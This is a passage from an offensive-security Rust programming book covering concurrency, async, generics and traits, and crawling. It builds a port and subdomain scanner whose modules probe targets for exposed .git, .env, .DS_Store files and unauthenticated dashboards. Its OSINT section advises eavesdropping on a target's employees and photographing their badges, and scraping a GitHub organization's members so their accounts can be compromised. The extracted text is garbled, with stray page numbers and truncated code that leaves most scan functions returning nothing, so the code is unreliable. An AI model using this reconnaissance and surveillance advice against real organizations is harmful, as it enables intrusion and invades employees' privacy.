error: could not compile `thread_error`
56
But in Rust this is another story. Other than for launching long-running
background jobs or workers, it’s rare to directly use the thread API from the
standard library.
Instead, we use rayon, a data-parallelism library for Rust.
Why a data-parallelism library? Because thread synchronization is hard. It’s
better to design our program in a more functional way that doesn’t require
threads to be synchronized.
ch_02/tricoder/src/main.rs
// ...
use rayon::prelude::*;
// pool.install is required to use our custom threadpool, instad of rayon's default one
pool.install(|| {
let scan_result: Vec<Subdomain> = subdomains::enumerate(&http_client, target)
.unwrap()
.into_par_iter()
.map(ports::scan_ports)
.collect();
println!("");
}
});
// ...
}
57
into_par_iter() (which means ‘into parallel iterator’), and now
our scanner will scan all the different subdomains on dedicated threads.
In the same way, parallelizing port scanning for a single host, is as simple as:
ch_02/tricoder/src/ports.rs
pub fn scan_ports(mut subdomain: Subdomain) -> Subdomain {
subdomain.open_ports = MOST_COMMON_PORTS_10
.into_par_iter() // notice the into_par_iter
.map(|port| scan_port(&subdomain.domain, *port))
.filter(|port| port.is_open) // filter closed ports
.collect();
subdomain
}
6.13.1.1 Prelude
use rayon::prelude::*;
58
6.13.1.2 Threadpool
In the background, the rayon crate started a thread pool, and dispatched
our tasks scan_ports and scan_http to it.
The nice thing with rayon is that the thread pool is hidden from us,
and the library encourages us to design algorithms where data is not shared
across tasks. Also, the parallel iterator has the same method available as
traditional iterators (What is an iterator? More in next chapter).
Another commonly used crate for multithreading is threadpool but is a
little bit lower level as we have to build the thread pool and dispatch the
tasks ourselves. Here is an example:
ch_02/snippets/threadpool/src/main.rs
use std::sync::mpsc::channel;
use threadpool::ThreadPool;
fn main() {
let n_workers = 4;
let n_jobs = 8;
let pool = ThreadPool::new(n_workers);
I don’t recommend you to use this crate. Instead, favor the functional pro-
gramming of rayon .
6.14 Summary
• Always use a timeout when creating network connections
• Subdomain enumeration is the easiest way to find assets
59
• Since a few years, processors don’t scale up in terms of GHz but in
terms of cores
• Use rayon when you need to parallelize a program
• Embrace functional programming
60
Chapter 7
I didn’t tell you the whole story: multithreading is not the only way to
increase a program’s speed, especially in our case, where most of the time is
spent doing I/O operations (TCP connections).
Let me introduce async-await .
Threads have problems: they were designed to parallelize compute-intensive
tasks. However, our current use-case is I/O (Input / Output) intensive: our
scanner launches a lot of network requests and does actually little compute.
In our situation, it means that threads have two major problems: * They
use a lot (compared to others solutions) of memory * Launches and Context
switches have a cost that can be felt when a lot (in the ten of thousands)
threads are running.
In practice, it means that our scanner will spend a lot of time waiting for
network requests for nothing and use more memory than necessary.
7.1 Why
From a programmer’s perspective, async / await provides the same
things as threads (concurrency, better hardware utilization, improved speed),
but with far better performance and lower resource usage for I/O bound
workloads.
61
What is an I/O bound workload? Those are tasks spending most of their
time waiting for network or disk operations instead of being limited by the
compute power of the processor.
Threads were designed a long time ago, when most of the computing was
not web related stuff, and thus are not suitable for too many concurrent I/O
tasks.
62
task will take some time awaiting for an I/O operation to complete, and thus
the computing power can be used for another task in the meantime.
It has the advantage of being extremely fast. Basically, the developer
and the runtime are working together, in harmony, to make the most of the
computing power at disposition.
The principal disadvantage of cooperative scheduling is that it’s easier to
misuse: if a await if forgotten (fortunately, the Rust compiler is issuing
warnings), or if the event loop is blocked for more than some micro-seconds,
it can have a disastrous impact on the performance of the system.
7.3 Future
Rust’s documentation describes a Future as an asynchronous computation.
Coming soon
7.4 Streams
Streams are a kind of paradigm shift for all imperative programmers.
As we will see later, Streams are iterators for the async world. When you
want to apply some asynchronous operations on a sequence of items of the
same type, you use stream.
It can be a network socket, a file, a long-lived HTTP request. Anything that
is too large and thus should be split in smaller chunks, or that may arrive
later but we don’t know when, or that is simply a collection (a Vec or an
HashMap for example) to which we need to apply async operations to.
Even if not directly related to Rust, I recommend the site reactivex.io to
learn more about the elegance and limitations of Streams.
63
The 3 most popular runtimes are:
All-time downloads
Runtime (June 2021) Description
tokio 26,637,966 An event-driven,
non-blocking I/O
platform for writing
asynchronous I/O
backed applications.
async-std 3,241,513 Async version of the
Rust standard library
smol 893,254 A small and fast async
runtime
64
Figure 7.1: Work stealing runtime. By Carl Lerche - License
MIT - https://tokio.rs/blog/2019-10-scheduler#the-next-generation-tokio-
scheduler
65
To learn more about the different kinds of event loops, you can read this
excellent article by Carl Lerche: https://tokio.rs/blog/2019-10-scheduler.
7.6.2 Spawning
When you want to dispatch a task, you spawn it. It can be achieved with
tokio’s tokio::spawn function.
For example: ch_03/tricoder/src/ports.rs
tokio::spawn(async move {
for port in MOST_COMMON_PORTS_100 {
let _ = input_tx.send(*port).await;
}
});
The task will be queued into the queue of one of the processors. Without
spawning, all the operations are executed on the same processor, and thus
the same thread.
7.6.3 Sleep
You can sleep using tokio::time::sleep : ch_03/snippets/concurrent_stream/src/main.
tokio::time::sleep(Duration::from_millis(sleep_ms)).await;
7.6.4 Timeout
You may want to add timeouts to your futures. For example, to not block
your system when requesting a slow HTTP server,
It can be easily achieved with tokio::time::timeout as follow:
ch_03/tricoder/src/ports.rs
tokio::time::timeout(Duration::from_secs(3), TcpStream::connect(socket_address)).await
The great thing about Rust’s Futures composability is that this timeout
function can be used with any Future! Whether it be an HTTP request,
read a file, or a TCP connection.
66
7.7 Sharing data
7.7.1 Channels
Tokio provides many types of channels depending of the task to accomplish:
7.7.1.1 oneshot
7.7.1.2 mpsc
For Multiple Producers, Single Consumer.
7.7.1.3 broadcast
7.7.1.4 watch
7.7.2 Arc<Mutex<T>>
7.7.2.1 Retention
(mutex…)
A great thing to note is that RAII (remember in chapter 01) comes in handy
with mutexes: We don’t have to manually unlock them like in other
languages. They will automatically unlock when going out of scope.
67
7.8.1 CPU intensive operations
So, how to execute compute-intensive operations, such as encryption, image
encoding, or file hashing?
tokio provides the function tokio::task::spawn_blocking for blocking
operations that eventually finish on their own. By that, I mean a blocking
operation which is not an infinite background job. For this kind of task, a
Rust Thread is appropriate.
Here is a an example from an application where spawn_blocking is used:
let is_code_valid = spawn_blocking(move || crypto::verify_password(&code, &code_hash)).await?;
68
And one dynamicaly sized, but bounded in size, thread pool for blocking
tasks. By default the latter will grow up to 512 threads. Blocking tasks can
be dispatched to this thread pool using tokio::task::spawn_blocking .
You can read more about how to finely configure it in tokio’s documentation.
7.9 Combinators
This section will be pure how-to and real-world patterns about how combi-
nators make your code easier to read or refactor.
7.9.1 Iterators
Let start with iterators, because this is certainly the situation where combi-
nators are the most used.
for x in v.into_iter() {
println!("{}", x);
}
Then, iter which provides a borrowed iterator. Here key and value
variables are references ( &String in this case).
fn hashmap() {
let mut h = HashMap::new();
69
h.insert(String::from("Hello"), String::from("World"));
Since version 1.53 (released on June 17, 2021) iterators can also be obtained
from arrays:
ch_03/snippets/combinators/src/main.rs
fn array() {
let a =[
1, 2, 3,
];
for x in a.iter() {
println!("{}", x);
}
}
v.for_each(|word| {
println!("{}", word);
});
}
70
fn collect() {
let x = vec![1, 2, 3, 4, 5, 6, 7, 8, 9, 10].into_iter();
Here _sum = 1 + 2 + 3 + 4 + 5 = 15
fold is like reduce but can return an accumulator of different type than
the items of the iterator: ch_03/snippets/combinators/src/main.rs
fn fold() {
let values = vec!["Hello", "World", "!"].into_iter();
Here _sentence is a String , while the items of the iterator are of type
&str .
7.9.1.3 Combinators
First, one of the most famous, and available in almost all languages: filter
ch_03/snippets/combinators/src/main.rs
71
fn filter() {
let v = vec![-1, 2, -3, 4, 5].into_iter();
inspect can be used to… inpect the values flowing through an iterator:
ch_03/snippets/combinators/src/main.rs
fn inspect() {
let v = vec![-1, 2, -3, 4, 5].into_iter();
map is used to convert an the items of an iterator from one type to another:
ch_03/snippets/combinators/src/main.rs
fn map() {
let v = vec!["Hello", "World", "!"].into_iter();
filter_map is kind of like chainng map and filter . It has the advantage
of dealing with Option instead of bool : ch_03/snippets/combinators/src/main.rs
fn filter_map() {
let v = vec!["Hello", "World", "!"].into_iter();
let w: Vec<String> = v
.filter_map(|x| {
if x.len() > 2 {
Some(String::from(x))
} else {
None
}
})
.collect();
72
assert_eq!(w, vec!["Hello".to_string(), "World".to_string()]);
}
73
.filter_map(|x| x.parse::<i64>().ok())
.filter(|x| x > &0)
.collect();
}
For example, the code snippet above replaces a big loop with complex logic
and instead, in a few lines, will do the following: * Try to parse an array of
collection of strings into numbers * filter out invalid results * filter numbers
less than 0 * collect everything in a new vector
It has the advantage of working with immutable data and thus reduces the
probability of bugs.
7.9.2 Option
Use a default value: unwrap_or
fn option_unwrap_or() {
let _port = std::env::var("PORT").ok().unwrap_or(String::from("8080"));
}
And the two extremely useful function for the Option type: is_some and
is_none
// is_some() & is_none()
You can find the other (and in my experience, less commonly used) combi-
nators for the Option type online: https://doc.rust-lang.org/std/option/
74
enum.Option.html.
7.9.3 Result
Convert a Result to an Option with ok : ch_03/snippets/combinators/src/main.rs
fn result_ok() {
let _port: Option<String> = std::env::var("PORT").ok();
}
And the two extremely useful functions for the Result type: is_ok and
is_err
// is_ok() & is_err()
75
You can find the other (and in my experience, less commonly used) combi-
nators for the Result type online: https://doc.rust-lang.org/std/result/
enum.Result.html.
7.9.5.1 FutureExt
then
map
flatten
into_stream
boxed
You can find the other (and in my experience, less commonly used) combi-
nators for the FutureExt type online: https://docs.rs/futures/latest/fut
ures/future/trait.FutureExt.html.
76
7.9.5.2 StreamExt
As we saw, Streams are like async iterators, and this is why you will find the
same combinators, such as filter, fold, for_each, map and so on.
Like Iterators, Stream should be consumed to have any effect.
Additionally, there are some specific combinators that can be used to process
elements concurrently: for_each_concurrent and buffer_unordered.
As you will notice, the difference between the two is that buffer_unordered
produces a Stream that needs to be consumed while for_each_concurrent
actually consumes the Stream.
Here is a quick example: ch_03/snippets/concurrent_stream/src/main.rs
use futures::{stream, StreamExt};
use rand::{thread_rng, Rng};
use std::time::Duration;
#[tokio::main(flavor = "multi_thread")]
async fn main() {
stream::iter(0..200u64)
.for_each_concurrent(20, |number| async move {
let mut rng = thread_rng();
let sleep_ms: u64 = rng.gen_range(0..20);
tokio::time::sleep(Duration::from_millis(sleep_ms)).await;
println!("{}", number);
})
.await;
}
77
3
4
10
29
0
7
20
15
...
The lack of order of the printed numbers shows us that jobs are executed
concurrently.
In async Rust, Streams and their concurrent combinators replace worker
pools in other languages. Worker pools are commonly used to process jobs
concurrently, such as HTTP requests, file hashing, and so on. But in Rust,
they are an anti-pattern because their APIs often favor imperative program-
ming, mutable variables (to accumulate the result of computation) and thus
may introduce subtle bugs.
Indeed, the most common challenge of a worker pool is to collect back the
result of the computation applied to the jobs.
There are 3 ways to use Streams to replace worker pools and collect the
result in an idiomatic and functional way. Remember to always put an
upper limit on the number of concurrent tasks, otherwise, you
may quickly exhaust the resources of your system and thus affect
performance.
This is the more functional and idiomatic way to implement a worker pool
78
in Rust. Here, our subdomains is the list of jobs to process. It’s then
transformed into Futures holding port scanning tasks. Those Futures are
concurrently executed thanks to buffer_unordered . And the Stream is
finally converted back to a Vec with .collect().await .
stream::iter(subdomains.into_iter())
.for_each_concurrent(subdomains_concurrency, |subdomain| {
let res = res.clone();
async move {
let subdomain = ports::scan_ports(ports_concurrency, subdomain).await;
res.lock().await.push(subdomain)
}
})
.await;
tokio::spawn(async move {
for port in MOST_COMMON_PORTS_100 {
let _ = input_tx.send(*port).await;
}
});
79
.await;
// close channel
drop(output_tx);
Here we voluntarily complexified the example as the two channels (one for
queuing jobs in the Stream, one for collecting results) are not necessarily
required.
One interesting thing to notice, is the use of a generator:
tokio::spawn(async move {
for port in MOST_COMMON_PORTS_100 {
let _ = input_tx.send(*port).await;
}
});
Why? Because as you don’t want unbounded concurrency, you don’t want
unbounded channels, it may put down your system under pressure. But if
the channel is bounded and the downstream system processes jobs slower
than the generator, it may block the latter and cause strange issues. This is
why we spawn the generator in it’s own tokio task, so it can live its life in
complete independence.
80
let subdomains: Vec<Subdomain> = stream::iter(subdomains.into_iter())
.map(|subdomain| ports::scan_ports(ports_concurrency, subdomain))
.buffer_unordered(subdomains_concurrency)
.collect()
.await;
Ok::<_, crate::Error>(subdomains)
})?;
7.12 Summary
• Multithreading should be preferred when the program is CPU bound,
async-await when the program is I/O bound
• Don’t block the event loop
• Streams are async iterators
• Streams replaces worker pools
• Always limit the number of concurrent tasks or the size of channels not
to exhaust resources
81
Chapter 8
Imagine that you want to add a camera to your computer which is lacking
one. You buy a webcam and connect it via a USB port. Now imagine that
you want to add storage to the same computer. You buy an external hard
drive and also connect it via a similar USB port.
This is the power of generics applied to the world of physical gadgets. A USB
port is a generic port, and an accessory that connects to it, is a module.
You don’t have device-specific ports, such as a specific port for a specific
webcam vendor, another port for another vendor, another one for one vendor
of USB external drives, and so on… You can connect almost any USB device
to any USB port and have it working (minus software drivers compatibility…).
Your PC vendors don’t have to plan for any module you may want to connect
to your computer, they just have to adopt and follow the generic and universal
USB specification.
The same applies to code. A function can perform a specific task against
a specific type, and a generic function can perform a specific task on some
(more on that later) types.
add can only add two i64 variables.
fn add(x: i64, y: i64) -> i64 {
return x + y;
}
82
Here, add can add two variables of any type.
fn add<T>(x: T, y: T) -> T {
return x + y;
}
But this code is not valid: it makes no sense to add two planes (for
example). And the compiler don’t even know how to add two planes! This
is where constraints come into play.
Here, add can add any types that implement the Add trait. By the way,
this is how we do operator overloading in Rust: by implementing traits from
the std::ops module.
use std::ops::Add;
8.1 Generics
Generic programming goals is to improve code reusability and reduce bugs
by allowing functions, structures and traits to have their types defined later.
In practice it means that an algorithm can be used with multiple differents
types, provided that they fulfill the constraints. As a result, if you find a bug
in your generic algorithm, you only have to fix it once. On the other hand,
if you had to implement the algorithm 4 times for 4 differents but similar
types (let say int32 , int64 , float32 , float64 ) not only you
spent 4x more time to implement it, but you will also spent 4x more time
fixing the same bug in all the implementations (granted you didn’t introduce
other bugs due to tiredness).
In Rust, functions, traits (more on that below) and data types can be generic;
use std::fmt::Display;
83
// a generic struct
struct Point<T> {
x: T,
y: T,
}
// a generic enum
enum Option<T> {
Some(T),
None
}
fn main() {
let a: &str = "42";
let b: i64 = 42;
generic_display(a);
generic_display(b);
struct Contact {
name: String,
email: String,
}
84
fn main() {
// imagine a list of imported contacts with duplicates
let imported_contacts = vec![
Contact {
name: "John".to_string(),
email: "[email protected]".to_string(),
},
Contact {
name: "steve".to_string(),
email: "[email protected]".to_string(),
},
Contact {
name: "John".to_string(),
email: "[email protected]".to_string(),
},
// ...
];
Thanks to the power of generics, we can reuse HashMap from the standard
library and quickly deduplicate our data!
Imagine having to implement those collections for all the types in your
programs?
8.2 Traits
8.2.1 Default Implementations
It is possible to provide default implementations for trait methods:
pub trait Hello {
fn hello(&self) -> String {
String::from("World")
}
}
85
impl Hello for Sylvain {
fn hello(&self) -> String {
String::from("Sylvain")
}
}
fn main() {
let sylvain = Sylvain{};
let anonymous = Anonymous{};
Sylvain: Sylvain
Anonymous: World
// Derived classes
class SubdomainModule: public Module {
public:
enumerate(string);
};
86
scan(string);
};
#[async_trait]
pub trait SubdomainModule: Module {
async fn enumerate(&self, domain: &str) -> Result<Vec<String>, Error>;
}
#[async_trait]
pub trait HttpModule: Module {
async fn scan(
&self,
http_client: &Client,
endpoint: &str,
) -> Result<Option<HttpFinding>, Error>;
}
87
8.2.4 Generic traits
8.2.5 The derive attribute
When you have a lot of traits to implement for one of your types, it can
quickly become tedious, and may complicate your code.
Fortunately, Rust has something for us: the derive attribute.
By using using the derive attribute, we are actually feeding our types
to a Derive macro which is some kind of procedural macro. They take code
as input (in this case our type), and create more code as output, as compile
time.
This is especially useful for data deserialization: Just by implementing the
Serialize and Deserialize traits from the serde crate, the (almost)
universally used serialization library in the Rust world, we can then serialize
and deserialize our types to a lot of data formats: JSON, YAML, TOML,
BSON and so on…
use serde::{Serialize, Deserialize};
// Not possible:
#[derive(Debug, Clone, Serialize, Deserialize)]
struct Point<T> {
x: T,
y: T,
}
88
// instead, do this:
use serde::{Serialize, Deserialize};
use core::fmt::Debug; // Import the Debug trait
struct UsbCamera{
// ...
}
impl UsbCamera {
fn new() -> Self {
// ...
}
}
struct UsbMicrophone{
// ...
}
89
impl UsbMicrophone {
fn new() -> Self {
// ...
}
}
struct Risc {}
90
}
}
struct Cisc {}
pub fn main() {
let processor1 = Cisc {};
let processor2 = Risc {};
process(&processor1, 1);
process(&processor2, 2);
}
The compiler will generate a specialized version for each types you call the
function with and then replace the call sites with calls to these specialized
functions. This is known as monomorphization. For example the code above
is roughly equivalent to:
fn process_Risc(processor: &Risc, x: i64) {
let result = processor.compute(x, 42);
println!("{}", result);
}
It’s the same thing as if you were implementing these functions yourself. This
is static dispatch, as the type selection is made statically at compile time.
It provides absolute runtime performance.
On the other hand, when you use a trait object: ch_04/snippets/dispatch/src/dynamic.rs
91
trait Processor {
fn compute(&self, x: i64, y: i64) -> i64;
}
struct Risc {}
struct Cisc {}
pub fn main() {
let processors: Vec<Box<dyn Processor>> = vec![
Box::new(Cisc {}),
Box::new(Risc {}),
];
The compiler will generate only 1 process function. It’s at runtime that
your program will detect which kind of Processor is the processor vari-
able, and thus which compute method to call. This is dynamic dispatch,
as the type selection is made dynamically at runtime.
The syntax for trait objects &dyn Processor may appear a little bit heavy,
especially when coming from less verbose languages. I personally love it!
In one look, we can see that the function accepts a trait object, thanks to
92
dyn Processor . The reference & is required because Rust needs to know
the exact size for each variable. As struct s implementing the Processor
trait may vary in size, the only solution is then to pass a reference. It could
also have been a smart pointer such as Rc or Arc , the point is that the
processor variable have a known and fixed size at compile time.
93
)
.setting(clap::AppSettings::ArgRequiredElseHelp)
.setting(clap::AppSettings::VersionlessSubcommands)
.get_matches();
8.5 Logging
When a long-running program encounters a non-fatal error, we may not nec-
essarily want to stop its execution. Instead, the good practice is to log the
error for further investigation and debugging.
Rust provide two extraordinary crates for logging: * log: for simple, textual
logging. * slog: for more advanced structured logging.
These crates are not strictly speaking loggers. You can add them to your
programs as follow: ch_04/snippets/logging/src/main.rs
fn main() {
log::info!("message with info level");
log::error!("message with error level");
log::debug!("message with debug level");
}
94
But when you run the program:
$ cargo run
Compiling logging v0.1.0 (black-hat-rust/ch_04/snippets/logging)
Finished dev [unoptimized + debuginfo] target(s) in 0.56s
Running `target/debug/logging`
Nothing is printed…
For actually printing something, you need a logger. The log and slog
crates are only facades. They provide a unified interface for logging across
all the ecosystem and pluggable loggers that fit the needs of everybody.
8.5.1 env_logger
You can find a list of loggers in the documentation of the log crate:
[https://github.com/rust-lang/log#in-executables]https://github.com/rust-
lang/log#in-executables).
For the rest of this, book we will use env_logger because it provides great
flexibility and precision about what we log, and more importantly, is easy to
use.
To set it up, simply export the RUST_LOG environment variable and call
the init function as follow:
ch_04/tricoder/src/main.rs
env::set_var("RUST_LOG", "info,trust_dns_proto=error");
env_logger::init();
Here, we tell env_logger to log at the info level by default, and to log
ad the error level for the trust_dns_proto crate.
95
Figure 8.1: Architecture of our scanner
These 2 kinds of modules, while being different may still share common
functionnalities.
So let’s declare a parent Module trait:
pub trait Module {
fn name(&self) -> String;
fn description(&self) -> String;
}
96
#[async_trait]
pub trait HttpModule: Module {
async fn scan(
&self,
http_client: &Client,
endpoint: &str,
) -> Result<Option<HttpFinding>, Error>;
}
if !res.status().is_success() {
return Ok(None);
}
Ok(None)
}
}
97
The vulnerability is to leave publicly accessible the git files, such as
.git/config or .git/HEAD . With some scripts, it’s often possible to
download all the source code of the project.
https://github.com/liamg/gitjacker
One day, I audited the website of a company where a friend was an intern.
The blog (Wordpress if I remember correctly) was vulnerable to this vulner-
ability, and I was able to download all the git history of the project. It was
funny because I had access to all the commits my friend made when he in-
terned. But more seriously, the database credentials were committed in the
code….
ch_04/tricoder/src/modules/http/git_head_disclosure.rs
impl GitHeadDisclosure {
pub fn new() -> Self {
GitHeadDisclosure {}
}
#[async_trait]
impl HttpModule for GitHeadDisclosure {
async fn scan(
&self,
http_client: &Client,
endpoint: &str,
) -> Result<Option<HttpFinding>, Error> {
let url = format!("{}/.git/HEAD", &endpoint);
let res = http_client.get(&url).send().await?;
if !res.status().is_success() {
return Ok(None);
}
Ok(None)
98
}
}
if res.status().is_success() {
return Ok(Some(HttpFinding::DotEnvFileDisclosure(url)));
}
Ok(None)
}
}
99
}
let signature = [0x0, 0x0, 0x0, 0x1, 0x42, 0x75, 0x64, 0x31];
#[async_trait]
impl HttpModule for DsStoreDisclosure {
async fn scan(
&self,
http_client: &Client,
endpoint: &str,
) -> Result<Option<HttpFinding>, Error> {
let url = format!("{}/.DS_Store", &endpoint);
let res = http_client.get(&url).send().await?;
if !res.status().is_success() {
return Ok(None);
}
Ok(None)
}
}
100
For etcd, it can be detected with string matching; ch_04/tricoder/src/modules/http/etcd_un
#[async_trait]
impl HttpModule for KibanaUnauthenticatedAccess {
async fn scan(
&self,
http_client: &Client,
endpoint: &str,
) -> Result<Option<HttpFinding>, Error> {
let url = format!("{}", &endpoint);
let res = http_client.get(&url).send().await?;
if !res.status().is_success() {
return Ok(None);
}
Ok(None)
}
}
101
endpoint: &str,
) -> Result<Option<HttpFinding>, Error> {
let url = format!("{}", &endpoint);
let res = http_client.get(&url).send().await?;
if !res.status().is_success() {
return Ok(None);
}
Ok(None)
}
}
102
async fn is_directory_listing(&self, body: String) -> Result<bool, Error> {
let dir_listing_regex = self.dir_listing_regex.clone();
let res = tokio::task::spawn_blocking(move || dir_listing_regex.is_match(&body)).await?;
Ok(res)
}
}
// ...
#[async_trait]
impl HttpModule for DirectoryListingDisclosure {
async fn scan(
&self,
http_client: &Client,
endpoint: &str,
) -> Result<Option<HttpFinding>, Error> {
let url = format!("{}/", &endpoint);
let res = http_client.get(&url).send().await?;
if !res.status().is_success() {
return Ok(None);
}
Ok(None)
}
}
8.7 Tests
Now we have our modules, how can we be sure that we didnt’t make some
mistake while writing the code?
Tests of course!
The only mistake to avoid when writing tests is to write test starting from
the implementation being tested.
103
You should not do that!
Test should be written from the specification. For example, when testing
the .DS_Store file disclosure, we may have some magic bytes wrong in
our code. So we should write our test by looking at the .DS_Store file
specification, and not our own implementation.
ch_04/tricoder/src/modules/http/ds_store_disclosure.rs
#[cfg(test)]
mod tests {
#[test]
fn is_ds_store() {
let module = super::DsStoreDisclosure::new();
let body = "testtesttest";
let body2 = [
0x00, 0x00, 0x00, 0x01, 0x42, 0x75, 0x64, 0x31, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00,
0x08, 0x0,
];
assert_eq!(false, module.is_ds_store_file(body.as_bytes()));
assert_eq!(true, module.is_ds_store_file(&body2));
}
}
#[tokio::test]
async fn is_directory_listing() {
let module = DirectoryListingDisclosure::new();
assert_eq!(true, module.is_directory_listing(body).await.unwrap());
104
assert_eq!(false, module.is_directory_listing(body2).await.unwrap());
assert_eq!(false, module.is_directory_listing(body3).await.unwrap());
assert_eq!(false, module.is_directory_listing(body4).await.unwrap());
}
}
Tests are not meant to be manually ran each time you write code. It would
be a a bad usage of your precious time. Indeed, Rust takes (by design) a
loooong time to compile. Running tests on your own machine more than a
few times a day would break your focus.
Instead, tests should be run from CI (Continuous Integration). CI systems
are pipelines you configure that will run your tests each time you push code.
Nowadays practically all code platforms (GitHub, GitLab, sourcehut…) pro-
vide bult-in CI. You can find examples of CI workflows for Rust projects here:
https://github.com/skerkour/phaser/tree/main/.github/workflows.
name: CI
105
on:
push:
branches:
- main
- 'feature-**'
jobs:
test_phaser:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Lint
run: |
cd phaser
cargo fmt -- --check
cargo clippy -- -D warnings
- name: Test
run: |
cd phaser
cargo check
cargo test --all
- name: Build
run: |
cd phaser
cargo build --release
106
8.8 Other scanners
8.9 Summary
• Use generic parameters when you want absolute performance and trait
objects when you want more flexibility.
• Before looking for advanced vulnerabilities, search for configuration
errors.
• Understanding how a system is architectured eases the process of iden-
tifying configuration vulnerabilities.
• Never write tests by looking at the code being tested. Instead, look at
the specification.
• Use CI to run tests intead of running them locally
107
Chapter 9
9.1 OSINT
OSINT stands for Open Source Intelligence. Just to be clear, the Open Source
part has nothing to do with the Open Source you are used to know.
OSINT can be defined as the methods and tools to use publicly available
information to support intelligence analysis (investigation, reconnaissance).
As OSINT consist of extracting meaningful information from a lot of data,
it can and should be automated.
9.2 Tools
The most well-known tool for OSINT is Maltego. It provides a desktop
application with a lot of features to visualize, script and automate your in-
vestigations.
Unfortunately, it may not be the best fit for everyone as the pro plan is pricy
if you are not using it often, and from what I know, the SDKs are available
for only a few programming languages, which make it hard to interface with
the programming language you want: Rust.
This is why I prefer plain markdown notes, with homemade scripts in the
programming language I prefer, the results of the scripts are then pasted into
108
the markdown report, or exported as CSV or JSON files.
Then, with a tool like Pandoc you can export the mardown report to almost
any format you want: PDF, HTML, Docx, Epub, PPTX, Latex…
If you like the graph representation, you can also use something like markmap
to turn your markdown document into a mindmap, which is not exactly a
graph, but a tree.
Four other useful projects are: - SherlocK: Hunt down social media accounts
by username across social networks - theHarvester: E-mails, subdomains and
names Harvester - phoneinfoga: Information gathering & OSINT framework
for phone numbers. It allows you to first gather standard information such
as country, area, carrier and line type on any international phone number. -
gitrob: Reconnaissance tool for GitHub organizations
109
Figure 9.1: The parts of a search engine
This is why we also need to know how to build our own crawlers.
9.3.1 Google
Google being the dominant search engine, it’s no surprise that will find most
of what you are looking for on it.
110
them.
111
9.5 Social media
Social network are dependent of the region of your target.
You can find a pretty exhaustive list of social networks here: https://gith
ub.com/sherlock-project/sherlock/blob/master/sites.md, but here are the
most famous one:
• Facebook
• Twitter
• VK
• Instagram
• Reddit
9.6 Maps
Physical intrusion is out of topic of this book, but using maps such as Google
Maps can be useful: by locating the restaurants around your target, you may
be able to find some employees of your target eating there and be able either
to hear what are they talking about when eating, or maybe taking picture
their badges and identities.
9.7 Videos
With the rise of the video format, more and more details are leaked everyday,
the two principal platforms being YouTube and Twitch.
What to look in videos of your targets? Three things: - Who is in the
videos - Where the videos are recorded, and what look like the building -
The background details, it already happened that some credentials (or an
organization chart, or any other sensitive document) were leaked because a
sheet with them written were in the background of a video.
112
9.9 Crawling the web
First a term disambiguation: what is the difference between a scraper and a
crawler?
Scraping is the process of turning unstructured web data into structured
data.
113
build a specialized program, the crawler, that will do it for you in a blink.
114
A Control loop: this is the generic part of a crawler. Its job is to dispatch
data between the scrapers and the processors and queue URLs.
9.10.1 Async
the first, and maybe most important reason of using Rust, is it’s async I/O
model: you are guaranteed to have the best performance possible when mak-
ing network requests.
115
#[async_trait]
pub trait Spider {
type Item;
fn main() {
// creating a new atomic
let my_atomic = AtomicUsize::new(42);
// adding 1
my_atomic.fetch_add(1, Ordering::SeqCst);
116
// geting the value
assert!(my_atomic.load(Ordering::SeqCst) == 43);
// substracting 1
my_atomic.fetch_sub(1, Ordering::SeqCst);
9.13 Barrier
A barrier is like a sync.WaitGroup in Go: it allows multiples concurrent
operations to synchronize.
use tokio::sync::Barrier;
use std::sync::Arc;
#[tokio::main]
async fn main() {
// number of concurrent operations
let barrier = Arc::new(Barrier::new(3));
let b2 = barrier.clone()
tokio::spawn(async move {
117
// do things
b2.wait().await;
});
let b3 = barrier.clone()
tokio::spawn(async move {
// do things
b3.wait().await;
});
barrier.wait().await;
println!("This will print only when all the three concurrent operations have terminated");
}
118
pub async fn run<T: Send + 'static>(&self, spider: Arc<dyn Spider<Item = T>>) {
let mut visited_urls = HashSet::<String>::new();
let crawling_concurrency = self.crawling_concurrency;
let crawling_queue_capacity = crawling_concurrency * 400;
let processing_concurrency = self.processing_concurrency;
let processing_queue_capacity = processing_concurrency * 10;
let active_spiders = Arc::new(AtomicUsize::new(0));
self.launch_processors(
processing_concurrency,
spider.clone(),
items_rx,
barrier.clone(),
);
self.launch_scrapers(
crawling_concurrency,
spider.clone(),
urls_to_visit_rx,
new_urls_tx.clone(),
items_tx,
active_spiders.clone(),
self.delay,
barrier.clone(),
);
And finally, the control loop, where we queue new URLs that have not already
have been visited and check if we need to stop the crawler.
By dropping urls_to_visit_tx , we close the channels, and thus stop
the scrappers, once they all finished processing the remaining URLs in the
channel.
119
loop {
if let Some((visited_url, new_urls)) = new_urls_rx.try_recv().ok() {
visited_urls.insert(visited_url);
sleep(Duration::from_millis(5)).await;
}
120
tokio::spawn(async move {
tokio_stream::wrappers::ReceiverStream::new(items)
.for_each_concurrent(concurrency, |item| async {
let _ = spider.process(item).await;
})
.await;
barrier.wait().await;
});
}
Finally, launching scrapers, like processors, requires a new task, with a stream
and for_each_concurrent .
The logic here is a little bit more complex: - we first increment
active_spiders - then we scrape the URL and extract the data
and the next URLs to visit - we then send these items to the processors
- we also send the newly found URLs to the control loop - and we sleep
for the configured delay, not to flood the server - finally, we decrement
active_spiders
121
.await
.map_err(|err| {
log::error!("{}", err);
err
})
.ok();
drop(items_tx);
barrier.wait().await;
});
}
122
#[derive(Debug, Clone)]
pub struct Cve {
name: String,
url: String,
cwe_id: Option<String>,
cwe_url: Option<String>,
vulnerability_type: String,
publish_date: String,
update_date: String,
score: f32,
access: String,
complexity: String,
authentication: String,
confidentiality: String,
integrity: String,
availability: String,
}
Then, with a browser and the developers tools, we inspect the page to search
the relevant HTML classes and ids that will allow us to extract that data:
ch_05/crawler/src/spiders/cvedetails.rs
async fn scrape(&self, url: String) -> Result<(Vec<Self::Item>, Vec<String>), Error> {
log::info!("visiting: {}", url);
123
let integrity = columns.next().unwrap().text().trim().to_string();
let availability = columns.next().unwrap().text().trim().to_string();
124
pages to crawl.
Here, we are going to scrape all the users of a GitHub organization. Why
it’s useful? Because if you gain access to one of these accounts (by finding a
leaked token, or some other mean), of gain access to some of the repositories
of the organization.
ch_05/crawler/src/spiders/github.rs
#[derive(Debug, Clone, Serialize, Deserialize)]
